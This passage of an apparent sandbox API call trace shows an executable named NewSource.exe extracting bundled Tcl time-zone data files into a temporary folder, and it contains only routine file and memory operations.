dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.008] GetFileType (hFile=0x10c) returned 0x1 [0040.008] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.008] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.008] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.008] CloseHandle (hObject=0x10c) returned 1 [0040.008] GetLastError () returned 0x0 [0040.008] SetLastError (dwErrCode=0x0) [0040.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.008] GetFileType (hFile=0x10c) returned 0x1 [0040.008] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.008] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.009] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.009] CloseHandle (hObject=0x10c) returned 1 [0040.009] GetLastError () returned 0x0 [0040.009] SetLastError (dwErrCode=0x0) [0040.009] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.009] GetFileType (hFile=0x10c) returned 0x1 [0040.009] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.009] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.009] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.009] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.009] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.009] CloseHandle (hObject=0x10c) returned 1 [0040.009] GetLastError () returned 0x0 [0040.009] SetLastError (dwErrCode=0x0) [0040.009] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Beirut") returned 68 [0040.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Beirut" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\beirut"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.010] GetLastError () returned 0x2 [0040.010] SetLastError (dwErrCode=0x2) [0040.010] GetLastError () returned 0x2 [0040.010] SetLastError (dwErrCode=0x2) [0040.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Beirut", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Beirut", lpFilePart=0x0) returned 0x43 [0040.010] GetLastError () returned 0x2 [0040.010] SetLastError (dwErrCode=0x2) [0040.010] GetLastError () returned 0x2 [0040.010] SetLastError (dwErrCode=0x2) [0040.010] GetLastError () returned 0x2 [0040.010] SetLastError (dwErrCode=0x2) [0040.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Beirut") returned 68 [0040.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.010] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Beirut" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\beirut"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.010] GetFileType (hFile=0x10c) returned 0x1 [0040.010] htonl (hostlong=0x4a1e0000) returned 0x1e4a [0040.010] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.011] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.011] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe4a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe4a, lpOverlapped=0x0) returned 1 [0040.011] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.011] CloseHandle (hObject=0x10c) returned 1 [0040.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.012] htonl (hostlong=0x30000000) returned 0x30 [0040.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.012] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.012] GetFileType (hFile=0x10c) returned 0x1 [0040.012] htonl (hostlong=0x54c15a00) returned 0x5ac154 [0040.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7154, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.012] htonl (hostlong=0xcc010000) returned 0x1cc [0040.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cc) returned 0x550600 [0040.012] htonl (hostlong=0xcc010000) returned 0x1cc [0040.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.012] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.012] htonl (hostlong=0x5f060000) returned 0x65f [0040.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x65f) returned 0x55e278 [0040.012] htonl (hostlong=0xcc010000) returned 0x1cc [0040.012] htonl (hostlong=0x5f060000) returned 0x65f [0040.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.012] CloseHandle (hObject=0x10c) returned 1 [0040.013] GetLastError () returned 0x0 [0040.013] SetLastError (dwErrCode=0x0) [0040.013] GetLastError () returned 0x0 [0040.013] SetLastError (dwErrCode=0x0) [0040.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.013] GetFileType (hFile=0x10c) returned 0x1 [0040.013] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.013] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.013] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.013] CloseHandle (hObject=0x10c) returned 1 [0040.013] GetLastError () returned 0x0 [0040.013] SetLastError (dwErrCode=0x0) [0040.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.013] GetFileType (hFile=0x10c) returned 0x1 [0040.013] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.013] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.014] CloseHandle (hObject=0x10c) returned 1 [0040.014] GetLastError () returned 0x0 [0040.014] SetLastError (dwErrCode=0x0) [0040.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.014] GetFileType (hFile=0x10c) returned 0x1 [0040.014] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.014] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.014] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.014] CloseHandle (hObject=0x10c) returned 1 [0040.014] GetLastError () returned 0x0 [0040.014] SetLastError (dwErrCode=0x0) [0040.015] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bishkek") returned 69 [0040.015] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bishkek" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\bishkek"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.015] GetLastError () returned 0x2 [0040.015] SetLastError (dwErrCode=0x2) [0040.015] GetLastError () returned 0x2 [0040.015] SetLastError (dwErrCode=0x2) [0040.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bishkek", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bishkek", lpFilePart=0x0) returned 0x44 [0040.015] GetLastError () returned 0x2 [0040.015] SetLastError (dwErrCode=0x2) [0040.015] GetLastError () returned 0x2 [0040.015] SetLastError (dwErrCode=0x2) [0040.015] GetLastError () returned 0x2 [0040.015] SetLastError (dwErrCode=0x2) [0040.015] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bishkek") returned 69 [0040.015] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.015] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Bishkek" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\bishkek"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.015] GetFileType (hFile=0x10c) returned 0x1 [0040.015] htonl (hostlong=0x5f060000) returned 0x65f [0040.015] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.015] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x65f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x65f, lpOverlapped=0x0) returned 1 [0040.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.016] CloseHandle (hObject=0x10c) returned 1 [0040.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.016] htonl (hostlong=0x30000000) returned 0x30 [0040.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.017] GetFileType (hFile=0x10c) returned 0x1 [0040.017] htonl (hostlong=0x20c35a00) returned 0x5ac320 [0040.017] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7320, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.017] htonl (hostlong=0x91000000) returned 0x91 [0040.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x55cfe0 [0040.017] htonl (hostlong=0x91000000) returned 0x91 [0040.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.017] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.017] htonl (hostlong=0xad000000) returned 0xad [0040.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xad) returned 0x550600 [0040.017] htonl (hostlong=0x91000000) returned 0x91 [0040.017] htonl (hostlong=0xad000000) returned 0xad [0040.017] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.017] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.017] CloseHandle (hObject=0x10c) returned 1 [0040.017] GetLastError () returned 0x0 [0040.017] SetLastError (dwErrCode=0x0) [0040.017] GetLastError () returned 0x0 [0040.017] SetLastError (dwErrCode=0x0) [0040.017] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.017] GetFileType (hFile=0x10c) returned 0x1 [0040.018] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.018] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.018] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.018] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, 